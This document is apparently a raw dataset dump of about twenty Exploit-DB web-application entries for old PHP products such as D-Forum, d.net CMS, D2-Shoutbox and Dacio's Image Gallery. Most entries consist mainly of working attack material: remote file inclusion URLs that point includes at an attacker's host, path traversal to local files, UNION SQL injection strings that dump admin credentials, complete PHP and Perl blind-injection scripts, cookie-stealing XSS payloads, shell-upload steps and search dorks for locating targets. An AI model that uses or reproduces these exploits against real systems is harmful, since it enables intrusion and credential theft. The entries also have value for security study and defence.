deardaniel/secdata-raw huggingface dataset:
Exploit-DB #22257
Description: D-Forum 1 - 'footer' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-18
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6879/info
 
D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.
 
Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. 

http://[target]/includes/footer.php3?my_footer=http://[attacker]/script.txt
Exploit-DB #22256
Description: D-Forum 1 - 'header' Remote File Inclusion
Type: webapps
Platform: php
Date: 2003-02-18
Author: frog

Exploit:
source: https://www.securityfocus.com/bid/6879/info

D-Forum is prone to an issue which may allow remote attackers to include files located on remote servers. This issue is present in the /includes/header.php3 and /includes/footer.php3 scripts.

Under some circumstances, it is possible for remote attackers to influence the include path for the header and footer files to point to an external file on a remote server by manipulating some URI parameters. 

http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt
Exploit-DB #25185
Description: D-Forum 1.11 - 'Nav.php3' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-03-03
Author: benjilenoob

Exploit:
source: https://www.securityfocus.com/bid/12720/info

D-Forum is reportedly affected by a cross-site scripting vulnerability. This issue is due to the application failing to properly sanitize user-supplied input.

As a result of this vulnerability, it is possible for a remote attacker to create a malicious link containing script code that will be executed in the browser of an unsuspecting user when followed. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This vulnerability is reported to affect D-Forum 1.11; earlier versions may also be affected. 

http://www.example.com/dforum/nav.php3?page=[code]
Exploit-DB #6430
Description: D-iscussion Board 3.01 - 'topic' Local File Inclusion
Type: webapps
Platform: php
Date: 2008-09-11
Author: SirGod

Exploit:
############################################################################################################
[+] D-iscussion Board 3.01 Local File Inclusion
[+] Discovered By SirGod 
[+] MorTal TeaM                     
[+] Greetz : E.M.I.N.E.M,Ras,Puscas_marin,ToxicBlood,HrN,kemrayz,007m,str0ke                      
############################################################################################################

Download : http://dino.shiftedphase.com/comp/downloads/forum.zip

[+] Local File Inclusion


   PoC :
 
     http://[target]/[path]/general/index.php?topic=[LocalFile]%00

   Example :

     http://127.0.0.1/3.01/general/index.php?topic=../../../../autoexec.bat%00

############################################################################################################

# milw0rm.com [2008-09-11]
Exploit-DB #44378
Description: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router - Authentication Bypass
Type: webapps
Platform: php
Date: 2018-03-30
Author: Gem George

Exploit:
# Exploit Title: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Route Authentication Bypass
# CVE: CVE-2018-9032
# Date: 24-03-2018
# Exploit Author: Gem George
# Author Contact: https://www.linkedin.com/in/gemgrge
# Vulnerable Product: D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router http://www.dlink.co.in/products/?pid=628
# Firmware version: 1.02-2.06
# Hardware version: A1, B1
# Vendor Homepage: https://dlink.com


Vulnerability Details
======================
An authentication bypass vulnerability on D-Link DIR-850L Wireless AC1200 Dual Band Gigabit Cloud Router potentially allows attackers to bypass SharePort Web Access Portal by directly accessing authenticated pages such as /category_view.php or /folder_view.php. This could potentially allow unauthorized remote access of media stored in SharePort and may perform write operation in the portal

How to exploit
===================
Directly call authenticated URLs to bypass authentication

Examples:
* http://[router_ip][port]/category_view.php
* http://[router_ip][port]/folder_view.php

POC
=========
* https://youtu.be/Wmm4p8znS3s
Exploit-DB #43101
Description: D-Park Pro 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
<!--
# # # # # 
# Exploit Title: D-Park Pro Domain Parking Script 1.0 - SQL Injection
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.domainzaar.com/
# Software Link: http://www.domainzaar.com/
# Demo: http://www.d-park-pro.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15958
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# # # # #
-->
<form id="loginform" action="http://localhost/[PATH]/admin/loginform.php" method="post">
<label for="form_username">Username:</label>
<input type="text" name="username" value="' UNION ALL SELECT 0x31,0x32,0x33,CONCAT(0x494853414e2053454e43414e)-- Ver Ayari" />
<label for="form_password">Password:</label>
<input type="password" name="password" id="form_password" />
<input name="login" value="Log In" type="submit">
</form>
Exploit-DB #10494
Description: D-Tendencia Bt 2008 - SQL Injection
Type: webapps
Platform: php
Date: 2009-12-16
Author: Dr.0rYX & Cr3W-DZ

Exploit:
                                                    ALGERIAN HACKER
  **********************- NORTH-AFRICA SECURITY TEAM -***********************

[!]            D-Tendencia Bt 2008 SQL Injection Vulnerability
[!] Author    : Dr.0rYX and Cr3w-DZ
[!] MAIL      : vx3@hotmail.de  &  Cr3w@hotmail.de

***************************************************************************/

[ Software Information ]

[+] Vendor : http://www.autoabc.hu/
[+] script   : D-Tendencia Bt 2008
[+] Download : http://www.autoabc.hu/ (sell script)
[+] Vulnerability : php SQL injection
[+] Dork :inurl:"list.php?lcat_id="

**************************************************************************/
[ Vulnerable File ]

http://server/list.php?lcat_id=[N.A.S.T ]

[ Exploit ]

http://server/list.php?lcat_id=-1+union+select+concat(admin_name,0x3a,admin_pass,0x3a,admin_mail)+from+admin

[  GReets ]

[+] :claw , le0n ,his0k4 , WWW.exploit-db.com , ALL HACKERS MUSLIMS
Exploit-DB #5291
Description: D.E. Classifieds - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-03-21
Author: S@BUN

Exploit:
##########################################
#
# DE Classifieds(cat_id) SQL injection
#
##########################################
#
##AUTHOR : S@BUN
#
####HOME : http://www.milw0rm.com/author/1334
#
####BLOG : http://my.opera.com/SQL-Injection/blog/
#
####MAÄ°L : hackturkiye.hackturkiye@gmail.com
#
###########################################
#
# DORK 1 : allinurl: "showCat.php?cat_id"
#

###########################################
EXPLOIT :

showCat.php?cat_id=-99999/**/union/**/select/**/0,concat(user_name,0x3a,password),2/**/from/**/std_users/*

###########################################
------------------S@BUN-------------------#
###########################################
-----hackturkiye.hackturkiye@gmail.com----#
###########################################
--http://my.opera.com/SQL-Injection/blog/-#
###########################################

# milw0rm.com [2008-03-21]
Exploit-DB #9127
Description: d.net CMS - Arbitrary Reinstall/Blind SQL Injection
Type: webapps
Platform: php
Date: 2009-07-11
Author: darkjoker

Exploit:
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-           __           __     _       __                -
+      ____/ /___ ______/ /__  (_)___  / /_____  _____    +
-     / __  / __ `/ ___/ //_/ / / __ \/ //_/ _ \/ ___/    -
+    / /_/ / /_/ / /  / ,<   / / /_/ / ,< /  __/ /        +
-    \__,_/\__,_/_/  /_/|_|_/ /\____/_/|_|\___/_/         -
+                        /___/                            +
-                                                         -
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+

[+] Arbitrary Re-Installation Vulnerability

There's no check about the elimination of 'help' directory, 
then whenever an administrator forget to delete it, we can
re-install the CMS, it means we can add a new administrator
account, without specify database's informations.

http://hostname/dnetCMS/help/install.php



[+] Blind SQL Injection Exploit

<?php

function usage () {
	exit (	"\n".
		"[+] d.net CMS Blind SQL Injection Exploit\n".
		"[+] Author  : darkjoker\n".
		"[+] Site    : http://darkjoker.net23.net\n".
		"[+] Download: https://sourceforge.net/projects/dnet/\n".
		"[+] Usage   : php xpl.php <hostname> <path>\n".
		"[+] Ex.     : php xpl.php localhost /dnetCMS/\n".
		"[+] Greetz  : cristina, puccio (they kept me company when I coded this stuff :D)\n".
		"\n");
}

function hex ($string) {
	$i=0;
	while ($i<strlen($string)) 
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function check ($hostname, $path, $character, $position, $field) {
	$character = ord($character);
	$sp = fsockopen ($hostname, 80);
	$query = hex ("'x' OR ASCII(SUBSTRING((SELECT {$field} FROM cms_security_master WHERE id=1),{$position},1))={$character} -- ");
	$request = "GET {$path}index.php?page={$query} HTTP/1.1\r\n".
		   "Host: {$hostname}\r\n".
		   "Connection: Close\r\n\r\n";
	fputs ($sp, $request);
	while (!feof ($sp)) 
		$reply .= fgets ($sp,1024);
	fclose ($sp);
	if ((preg_match ("|Location: index\.php|", $reply)) || (preg_match ("|<b>Cannot modify</b>:|", $reply)))
		return false;
	else
		return true;
}

function get_field ($hostname, $path, $field) {
	echo "[+] ".ucfirst($field)." (hash): ";
	$chars = "abcdef[PII_REDACTED]";
	for($i=0,$d=1;$d<=32;$i++) {
		if (check ($hostname, $path, $chars [$i], $d, $field)) {
			echo $chars [$i];
			$i = -1;
			$d++;
		}
	}
	echo "\n";
}

if ($argc != 3)
	usage ();
$hostname = $argv [1];
$path = $argv [2];
$fields = array ("username", "password");
foreach ($fields as $field)
	get_field ($hostname, $path, $field);

# milw0rm.com [2009-07-11]
Exploit-DB #9312
Description: d.net CMS - Local File Inclusion / SQL Injection
Type: webapps
Platform: php
Date: 2009-07-30
Author: SirGod

Exploit:
###############################################################################################################################################
[+] d.net CMS (LFI/SQLI) Multiple Remote Vulnerabilities
[+] Discovered By SirGod
[+] http://insecurity-ro.org
[+] http://h4cky0u.org
###############################################################################################################################################

[+] Download : http://sourceforge.net/projects/dnet/

[+] SQL Injection

 PoC's

 - No admin required

    http://127.0.0.1/path/index.php?page=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7+from+cms_security_master+where+id=1--

 - Admin required

    http://127.0.0.1/path/dnet_admin/index.php?edit_id=null+union+all+select+1,concat_ws(0x3a,username,password),3,4,5,
6,7,8,9+from+cms_security_master+where+id=1--&_p=1&type=news

    http://127.0.0.1/path/dnet_admin/index.php?edit_id=1&_p=null+union+all+select+1,2,concat_ws(0x3a,username,password),4,
5,6,7+from+cms_security_master+where+id=1--&type=news

[+] Local File Inclusion

 - PoC

 - Admin required

    http://127.0.0.1/path/dnet_admin/index.php?edit_id=2&_p=2&type=../../../../../../boot.ini%00

###############################################################################################################################################

# milw0rm.com [2009-07-30]
Exploit-DB #1556
Description: D2-Shoutbox 4.2 IPB Mod - 'load' SQL Injection
Type: webapps
Platform: php
Date: 2006-03-06
Author: SkOd

Exploit:
#!/usr/bin/perl
#########################################################
#		 _______ _______ ______ 		#
#		 |______ |______ |     \		#
#		 ______| |______ |_____/		#
#		                        		#
#D2-Shoutbox 4.2(IPB Mod)<=SQL injection		#
#Created By SkOd                                        #
#SED security Team                                      #
#http://www.sed-team.be                                 #
#skod.uk@gmail.com                                      #
#ISRAEL                                                 #
#########################################################
#google:
#"Powered By D2-Shoutbox 4.2"
#########################################################
use IO::Socket;
$host = $ARGV[0];
$user = $ARGV[2];
$uid  = $ARGV[3];
$pid  = $ARGV[4];
$type = $ARGV[5];

sub type()
{
if($type==1){$row="password";}
if($type==2){$row="member_login_key";}
else{print "Just 1 Or 2\n";exit();}
$sql="index.php?act=Shoutbox&view=saved&load=-1%20UNION%20SELECT%20null,null,null,null,".$row.",null,null,null%20FROM%20ibf_members%20where%20id=".$user."/*";
$path = $ARGV[1].$sql;
}


sub header()
{
print q{
#######################################################################
###		 D2-Shoutbox 4.2 SQL injection Exploit 	    	    ### 
###		 Tested On D2-Shoutbox 4.2 And IPB 2.4 	    	    ###
###		  Created By SkOd, Sed Security Team 	    	    ###
#######################################################################
sedSB.pl [HOST] [DIR] [victim] [my id] [my md5 hash] [1-(1.*)/2-(2.*)]
sedSB.pl www.host.com /forum/ 2 4500 f3b8a336b250ee595dc6ef6bac38b647 2
#######################################################################
}
}

sub sedsock()
{
$sedsock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => "80") || die "[-]Connect Failed\r\n";
print $sedsock "GET $path HTTP/1.1\n";
print $sedsock "Host: $host\n";
print $sedsock "Accept: */*\n";
print $sedsock "Cookie: member_id=$uid; pass_hash=$pid\n";
print $sedsock "Connection: close\n\n";
while($res = <$sedsock>){
$res =~ m/shout_s'>(.*?)<\/textarea>/ && print "[+]User: $user\n[+]Md5 Hash: $1\n";
}
}

if(@ARGV < 6){
header();
}else{
type();
sedsock();
}

# milw0rm.com [2006-03-06]
Exploit-DB #27328
Description: D3Jeeb Pro 3 - 'catogary.php?catid' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-25
Author: SAUDI

Exploit:
source: https://www.securityfocus.com/bid/16853/info
 
D3Jeeb is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 
 
Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/catogary.php?catid=[SQL]
Exploit-DB #27327
Description: D3Jeeb Pro 3 - 'fastlinks.php?catid' SQL Injection
Type: webapps
Platform: php
Date: 2006-02-25
Author: SAUDI

Exploit:
source: https://www.securityfocus.com/bid/16853/info

D3Jeeb is prone to multiple SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query. 

Successful exploitation could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.

http://www.example.com/fastlinks.php?catid=[SQL]
Exploit-DB #11425
Description: daChooch - SQL Injection
Type: webapps
Platform: php
Date: 2010-02-12
Author: snakespc

Exploit:
==============================================================================
[»] Dachooch Remote Sql Injection Vulnerability
==============================================================================
  
[»] Script:   [dachooch ]
[»] Language: [ PHP ]
[»] Founder:  [ Snakespc Email:super_cristal@hotmail.com - Site:sec-war.com/cc> ]
[»] Greetz to:[ SnakesTeaM, PrEdAtOr ,alnjm33 >>> All My Mamber >> sec-war.com/cc ]
[»] Note:     [ Hna Rana Fi South Africa (Coupe du monde)  ]
  
###########################################################################
 ===[ Exploit ]=== 
  
[»] http://server/forum.php?mid=3&smid=0&group=3&thread=-3+UNION all SELECT 1,2,unhex(hex(group_concat(admin,0x3a,pass,0x3a,email))),CHAR(115, 101, 99, 45, 119, 97, 114),5,6+from+users--
[»]Author: Snakespc <-
###########################################################################
Exploit-DB #8042
Description: dacio's CMS 1.08 - Cross-Site Scripting / SQL Injection / File Disclosure
Type: webapps
Platform: php
Date: 2009-02-11
Author: Mehmet Ince

Exploit:
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
=                                 XORON 2009(C)
=
=               Dacio's PHP scripts CMS v1.08 Remote SQL Injection Vuln.      
=             
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= Script:   Dacio's PHP scripts CMS, version 1.08
= Price:      $Free
=
= Author: xoron
=
= Tesekkurler unutmayan VolqaN!
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
=
= BUGS   
=
=  Sql Injections:
=      /?Kat=-1/**/union/**/select/**/username/**/from/**/kep_uporabniki/**/where/**/IdUser=1/*
=      /?Kat=-1/**/union/**/select/**/userpass/**/from/**/kep_uporabniki/**/where/**/IdUser=1/*
=     
=
=  XSS Vuln:
=      /index.php?search_string="><script>alert(document.cookie)</script>
=
=  MySQL Tables:
=      /include/funkcije.inc
=                                      
=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-

# milw0rm.com [2009-02-11]
Exploit-DB #8653
Description: Dacio's Image Gallery 1.6 - Directory Traversal / Authentication Bypass / Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-05-11
Author: ahmadbady

Exploit:
=-=-Local Directory Traversal/bypass/shell upload/-=-=

-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=-=-=
script::Dacio_imgGal-v1.6
-------------------------------------------------
Author: ahmadbady
my site :Coming Soon
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
download from:http://www.kopicaidej.net/index.php?com=hex&Dld=59

=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Directory Traversal:

/Dacio_imgGal-v1.6/index.php?gallery=../config.inc%00
------
bypass and upload:

go to admin.php(Panel Bypassed)  and add image (shell upload) 

shell: /images/beauty_1/shell.php  if deleted beauty_1

create a new gallery

example aa:
  
shell:  /images/aa/shell.php
----- 
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=--=-=-=-=
dork: intitle:"Dacio's Image Gallery"
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-=-=-=-=-=

# milw0rm.com [2009-05-11]
Exploit-DB #32993
Description: Dacio's Image Gallery 1.6 - Multiple Remote Vulnerabilities
Type: webapps
Platform: php
Date: 2009-05-11
Author: ahmadbady

Exploit:
source: https://www.securityfocus.com/bid/34906/info

Dacio's Image Gallery is prone to multiple remote vulnerabilities:

- An arbitrary-file-upload vulnerability
- An authentication-bypass vulnerability
- A directory-traversal vulnerability

An attacker can exploit these issues to upload and execute arbitrary script code on an affected computer with the privileges of the webserver process, view arbitrary local files, or gain unauthorized access to the affected application.

Dacio's Image Gallery 1.6 is vulnerable; other versions may also be affected.

The following example URI for the directory-traversal vulnerability is available:

http://www.example.com/Dacio_imgGal-v1.6/index.php?gallery=../config.inc%00
Exploit-DB #21861
Description: DaCode 1.2 - News Message HTML Injection
Type: webapps
Platform: php
Date: 2002-09-25
Author: das@hush.com

Exploit:
source: https://www.securityfocus.com/bid/5798/info

Problems with DaCode could make it possible to execute arbitrary script code in a vulnerable client.

DaCode does not sufficiently filter potentially malicious HTML code from news posts. As a result, when a user views a news posting that contains malicious HTML code, the code contained in the posted message would be executed in the browser of the vulnerable user. This will occur in the context of the site running the DaCode software. 

<IMG SRC="javascript:alert('unsecure')">
Exploit-DB #11888
Description: DaFun Spirit 2.2.5 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2010-03-26
Author: 2010-03-26

Exploit:
        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo--------------------------------------------------
DaFun Spirit 2.2.5 Multiple Remote File Include Vulnerability
Script: http://code.google.com/p/dafunspirit/downloads/list
Author: mat
Mail: rahmat_punk@hotmail.com
---------------Ooooo------------------------------------------------
               (   )
      ooooO     ) /
      (   )    (_/
       \ (
        \_)

Vuln Code

//-----------------------------------------------------------------------------------------------------------+

  $lgsl_path = ""; // RELATIVE PATH BETWEEN THIS FILE AND THE LGSL FOLDER FOR PAGE INTEGRATION

//-----------------------------------------------------------------------------------------------------------+

  require_once($lgsl_path."lgsl_protocol.php");

  $get_ip   = $_GET[ip];
  $get_port = $_GET[port];

//-----------------------------------------------------------------------------------------------------------+

Usage: http://[target]/[path]/modules/dfss/lgsl/lgsl_players.php?lgsl_path=http://[shellscript]
       http://[target]/[path]/modules/dfss/lgsl/lgsl_settings.php?lgsl_path=http://[shellscript]


Greetings: All Hackerz